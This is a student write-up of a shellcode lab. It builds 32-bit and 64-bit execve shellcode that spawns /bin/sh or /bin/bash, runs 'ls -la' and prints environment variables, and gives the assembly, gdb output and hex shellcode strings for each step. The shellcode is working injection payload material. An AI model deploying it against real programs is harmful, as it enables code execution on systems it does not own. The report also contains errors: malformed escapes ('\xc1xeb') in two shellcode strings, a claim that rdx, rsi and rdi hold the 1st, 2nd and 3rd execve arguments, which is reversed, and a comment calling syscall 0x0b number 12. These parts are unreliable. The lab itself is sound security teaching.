

LAB 2

Task 1

1.a The Entire Process

1. Compile `mysh.s` code and generate binary
2. Check if binary is working.

```
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ nasm -f elf32 mysh_or
g.s -o mysh_org.o
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ ld -m elf_i386 mysh_o
rg.o -o mysh_org
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ echo $$
1492
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ ./mysh_org
$ echo $$
66474
$ █
```

3. To get machine code use `xxd`
\$ `xxd -p -c 20 mysh.o`
4. Use `convert.py` to convert the machine code from binary into a string of hex characters.

```
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ ./convert.py
Length of the shellcode: 27
shellcode= (
    "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    "\x53\x89\xe1\x31\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ █
```

Task 1.b Eliminating Zeros

1. Copy `mysh.s` to `mybash.s` and modify as described in following points to create a shellcode.
2. This code will get a *bash* shell.
3. Split string `"/bin/bash"` into 3 parts - `"/bin"`, `"/bas"`, `"h"` .
4. Notice the 3rd part has only 1 character, but we need each part to be 4 characters long. Hence, add any 3 extra random characters e.g 'aaa'. Use the shift operator to drop the extra 3 characters and add 0s at the end. Use Following code to perform the above operation.

```
mov ebx, "haaa"      ; load extra "aaa"
shl ebx, 24          ; drop extra "aaa"
shr ebx, 24          ; shift right to add 0s
push ebx
push "/bas"
push "/bin"
mov ebx, esp         ; Get the string address
```

5. Compile and generate the binary using following cmds;

```
$ nasm -f elf32 mybash.s -o mybash.o
$ ld -m elf_i386 mybash.o -o mybash
```

Gdb: 1st and 2nd argument of execve

```
(gdb) x /s $ebx
0xffffd280:      "/bin/bash"
(gdb) x /w $ecx
0xffffd278:      U"\xffffd280"
(gdb) █
```

Output

```
vagrant@ubuntu-focal:~/lab2/Labsetup$ ./mybash
vagrant@ubuntu-focal:/home/vagrant/lab2/Labsetup$ █
```

Shellcode

```
vagrant@ubuntu-focal:~/lab2/Labsetup$ ./convert.py
Length of the shellcode: 39
shellcode= (
    "\x31\xc0\x50\xbb\x68\x61\x61\x61\xc1\xe3\x18\xc1\xeb\x18\x53\x68"
    "\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31"
    "\xd2\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
vagrant@ubuntu-focal:~/lab2/Labsetup$
```

Task 1.c Providing Arguments for System Calls

1. The system call `execve` requires three parameters, 1st - program name, 2nd - List of arguments to pass to the program, 3rd - List of environment variables.
2. For this task `execve()` call will look like the following

```
execve("bin//sh", ["bin//sh", "-c", "ls -la"], NULL)
```

3. Create the three arguments on the stack using following code

```
; Store the argument string on stack
    mov ebx, "laxx"
    shl ebx, 16
    shr ebx, 16
    push ebx
    push "ls -"
    mov ecx, esp          ;get the address of the 3rd
argument

    mov ebx, "-caa"
    shl ebx, 16
    shr ebx, 16
    push ebx

    xor eax, eax
    push eax              ; Use 0 to terminate the string
    push "//sh"
    push "/bin"
```

```

        mov ebx, esp        ; Get the address of '/bin//sh' 1st
parameter

```

4. Prepare the *argv[]* and store the address on *ecx* register

```

; Construct the argument array argv[]
xor eax, eax
push eax        ; argv[3] = 0

push ecx        ; argv[2] = "ls -la"

sub ecx, 4      ;
push ecx        ; argv[1] = "-c"

sub ecx, 4      ; address of argv[0] = "/bin//sh"
push ecx

mov ecx, esp    ; Get the address of argv[], 2nd
parameter

```

5. Prepare environment variables list and syscall number for *execve*

```

; For environment variable
xor edx, edx    ; No env variables, 3rd parameter

; Invoke execve()
xor eax, eax    ; eax = 0x00000000
mov al, 0xb     ; eax = 0x0000000b, 1st parameter
int 0x80

```

output

```

vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ ./mysh
total 112
drwxrwxr-x 1 vagrant vagrant 4096 Jan 29 23:42 .
drwxrwxrwx 1 vagrant vagrant 4096 Jan 26 17:52 ..
-rw-rw-r-- 1 vagrant vagrant 294 Dec 27 2020 Makefile
-rwxrwxr-x 1 vagrant vagrant 483 Jan 29 23:47 convert.py
-rwxrwxr-x 1 vagrant vagrant 4568 Jan 28 20:34 myenv
-rw-rw-r-- 1 vagrant vagrant 496 Jan 28 21:20 myenv.o
-rw-rw-r-- 1 vagrant vagrant 1440 Jan 28 20:34 myenv.s
-rwxrwxr-x 1 vagrant vagrant 616 Jan 29 23:18 myenv2
-rw-rw-r-- 1 vagrant vagrant 560 Jan 29 23:18 myenv2.o
-rw-rw-r-- 1 vagrant vagrant 1140 Jan 29 23:27 myenv2.s
-rwxrwxr-x 1 vagrant vagrant 4544 Jan 29 23:41 mysh

```

Shellcode

```
vagrant@ubuntu-focal:~/Lab2/Labsetup$ ./convert.py
Length of the shellcode: 68
shellcode= (
    "\xbb\x6c\x61\x78\x78\xc1\xe3\x10\xc1xeb\x10\x53\x68\x6c\x73\x20"
    "\x2d\x89\xe1\xbb\x2d\x63\x61\x61\xc1\xe3\x10\xc1xeb\x10\x53\x31"
    "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0"
    "\x50\x51\x83\xe9\x04\x51\x83\xe9\x04\x51\x89\xe1\x31\xd2\x31\xc0"
    "\xb0\x0b\xcd\x80"
).encode('latin-1')
vagrant@ubuntu-focal:~/Lab2/Labsetup$
```

Task 1.d Providing Environment Variables for `execve()`

1. For this task `execve()` call will look like the following,

```
execve("/usr/bin/env", ["/usr/bin/env"], ["aaa=1234",
"bbb=5678", "cccc=1234"])
```

2. Prepare stack for argument string

```
; Store the argument string on stack
xor eax, eax
push eax ; Use 0 to terminate the string
push "/env" ;
push "/bin" ;
push "/usr"
mov ebx, esp ; Get the "/usr/bin/env" address.
```

Parameter 1

```
;store env variables on stack
push eax ; NULL string
push "1234"
push "aaa="

push eax
push "5678"
push "bbb="

mov eax, "4xxx"
shl eax, 24
shr eax, 24
```

```

push eax
push "=123"
push "cccc"
mov ecx, esp      ;address of 3rd env in ecx

```

3. Prepare env array,

```

;Construct env[] array
xor eax, eax      ; end of the env[] array
push eax

push ecx           ; address of env[2]

add ecx, 12
push ecx           ; address of env[1]

add ecx, 12
push ecx           ; address of env[0]

; for the environment variable
mov edx, esp      ; Get the address of env[].

```

Parameter 3

4. Get argv[] address,

```

; Construct the argument array argv[]
push eax           ; argv[1] = 0
push ebx           ; argv[0] points to the cmd string

mov ecx, esp      ; Get the address of argv[].

```

Parameter 2

5. Rest of the things stay the same for syscall.

Output

```

vagrant@ubuntu-focal:~/vagrant_data/lab2/Labsetup$ ./myenv
aaa=1234
bbb=5678
cccc=1234
vagrant@ubuntu-focal:~/vagrant_data/lab2/Labsetup$ █

```

Shellcode

```
vagrant@ubuntu-focal:~/lab2/Labsetup$ ./convert.py
Length of the shellcode: 90
shellcode= (
    "\x31\xc0\x50\x68\x2f\x65\x6e\x76\x68\x2f\x62\x69\x6e\x68\x2f\x75"
    "\x73\x72\x89\xe3\x50\x68\x31\x32\x33\x34\x68\x61\x61\x61\x3d\x50"
    "\x68\x35\x36\x37\x38\x68\x62\x62\x62\x3d\xb8\x34\x78\x78\x78\xc1"
    "\xe0\x18\xc1\xe8\x18\x50\x68\x3d\x31\x32\x33\x68\x63\x63\x63\x63"
    "\x89\xe1\x31\xc0\x50\x51\x83\xc1\x0c\x51\x83\xc1\x0c\x51\x89\xe2"
    "\x50\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"
).encode('latin-1')
vagrant@ubuntu-focal:~/lab2/Labsetup$
```

Task 2 Using Code Segment

a) Code Explanation

one:

```
    pop ebx                ; address of "/bin/sh*AAAABBBB"
    xor eax, eax           ; set eax to 0
    mov [ebx+7], al        ; Replace * with NULL in
"/bin/sh*AAAABBBB"

    mov [ebx+8], ebx       ; Replace "AAAA" with address of
"/bin/sh"

    mov [ebx+12], eax      ; Add NULL after "AAAA"

    lea ecx, [ebx+8]       ; Set 2nd param of execve, address of
address of "/bin/sh"

    xor edx, edx           ; Empty env variable array

    mov al, 0x0b           ; syscall number 12 in EAX
    int 0x80              ; Use interrupt to make system call
```

two:

```
    call one              ; Pushes the address of
'bin/sh/*AAAABBBB'
```

```
db '/bin/sh*AAAABBBB'
```

b) Print Environment Variables

1. For this task, an argument list is prepared on the code segment.
2. Prepare a string in the code segment

```
two:
    call one          ; Pushes address of following string
    db "/usr/bin/env*AAA$$$$a=11#b=11!BBBCCCC%%%"
```

3. Modify the string to prepare arguments for `execve()` call. Following two snaps show the initial state of the string and modified state of the same string respectively.

Initial string

```
(gdb) x /10s 0x8048097
0x8048097 <two+5>:      "/usr/bin/env*AAA$$$$a=11#b=11!BBBCCCC%%%"
0x80480c3:             ""
0x80480c4:             ""
```

Modified string

```
(gdb) x /10s 0x8048097
0x8048097 <two+5>:      "/usr/bin/env"
0x80480a4 <two+18>:      "\227\200\004\b"
0x80480a9 <two+23>:      ""
0x80480aa <two+24>:      ""
0x80480ab <two+25>:      ""
0x80480ac <two+26>:      "a=11"
0x80480b1 <two+31>:      "b=11"
0x80480b6 <two+36>:      "\254\200\004\b\261\200\004\b"
0x80480bf <two+45>:      ""
0x80480c0 <two+46>:      ""
(gdb)
```

Handwritten annotations in the image:

- A blue arrow points from the text "address of" to the memory address `0x8048097`.
- A blue box highlights the string `"\227\200\004\b"` at address `0x80480a4`.
- A blue box highlights the string `"a=11"` at address `0x80480ac`.
- A blue box highlights the string `"b=11"` at address `0x80480b1`.
- A blue box highlights the string `"\254\200\004\b\261\200\004\b"` at address `0x80480b6`.
- Two blue arrows point from the text "address of" to the memory addresses `0x80480b6` and `0x80480b1`, with the labels `a=11` and `b=11` respectively.

4. Split the string by adding NULL

one:

```
        pop ebx                ; address of
"/usr/bin/env*AAAA$$$$a=11#b=11!BBBBCCCC%%%"
        xor eax, eax           ; set eax to 0
        mov [ebx+12], al       ; Replace '*' with NULL in
        mov [ebx+13], ebx      ; Replace "AAAA" with address of
"/usr/bin/env"
        mov [ebx+17], eax      ; Add NULL after 'AAAA'

        mov [ebx+25], al       ; Replace '#' with NULL after
"a=11"
        mov [ebx+30], al       ; Replace '!' with NULL after
"b=11"
        mov [ebx+39], eax      ; Add NULL after "CCCC"

        lea ecx, [ebx+13]      ; Set 2nd param of execve, address
of argv[]
```

5. Prepare the array - env[] and store it's address as 3rd parameter in edx

```
        add ebx, 21
        mov [ebx+10], ebx      ; Replace "BBBB" with address of
a=11
        add ebx, 5             ;
        mov [ebx+9], ebx       ; Replace "CCCC" with address of
b=11

        lea edx, [ebx+5]      ; Get the address of env[], 3rd
parameter
        sub ebx, 26            ; Restore the address of
'usr/bin/env'
```

Output

```
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ ./myenv2
a=11
b=11
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$
```

Shellcode

```
vagrant@ubuntu-focal:~/lab2/Labsetup$ ./convert.py
Length of the shellcode: 98
shellcode= (
    "\xeb\x30\x5b\x31\xc0\x88\x43\x0c\x89\x5b\x0d\x89\x43\x11\x88\x43"
    "\x19\x88\x43\x1e\x89\x43\x27\x8d\x4b\x0d\x83\xc3\x15\x89\x5b\x0a"
    "\x83\xc3\x05\x89\x5b\x09\x8d\x53\x05\x83\xeb\x1a\x31\xc0\xb0\x0b"
    "\xcd\x80\xe8\xcb\xff\xff\xff\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f"
    "\x65\x6e\x76\x2a\x41\x41\x41\x41\x24\x24\x24\x24\x61\x3d\x31\x31"
    "\x23\x62\x3d\x31\x31\x21\x42\x42\x42\x42\x43\x43\x43\x43\x25\x25"
    "\x25\x25"
).encode('latin-1')
vagrant@ubuntu-focal:~/lab2/Labsetup$
```

Task 3 Writing 64-bit Shellcode

1. This is a fairly easy task. Just have to store the 1st, 2nd and 3rd parameters of `execve()` to `rdx`, `rsi` and `rdi` registers respectively. Whereas in x86_32-bit, these are stored in `ebx`, `ecx` and `edx` registers.
2. Prepare string on stack

```
xor    rdx, rdx          ; 3rd argument
push   rdx

mov    rax, "xxxxxxxx"
shl    rax, 56           ; remove all 'x' from above string
shr    rax, 56           ; fill all 'x' with NULL
push   rax
mov    rax, "/bin/bas"
push   rax
mov    rdi, rsp          ; 1st argument, address of '/bin/sh'
```

3. Prepare `argv[]` list

```
push   rdx              ; Add NULL argv[1] = 0
push   rdi              ; Push argv[0] i.e. "/bin/sh"
mov    rsi, rsp          ; 2nd argument
```

Output

```
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ echo $$
1492
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ ./mysh_64
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ echo $$
69150
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$
```

4. Shellcode

convert.py

```
vagrant@ubuntu-focal:/vagrant_data/lab2/Labsetup$ ./convert.py
Length of the shellcode: 49
shellcode= (
    "\x48\x31\xd2\x52\x48\xb8\x68\x78\x78\x78\x78\x78\x78\x48\xc1"
    "\xe0\x38\x48\xc1\xe8\x38\x50\x48\xb8\x2f\x62\x69\x6e\x2f\x62\x61"
    "\x73\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x48\x31\xc0\xb0\x3b\x0f"
    "\x05"
).encode('latin-1')
```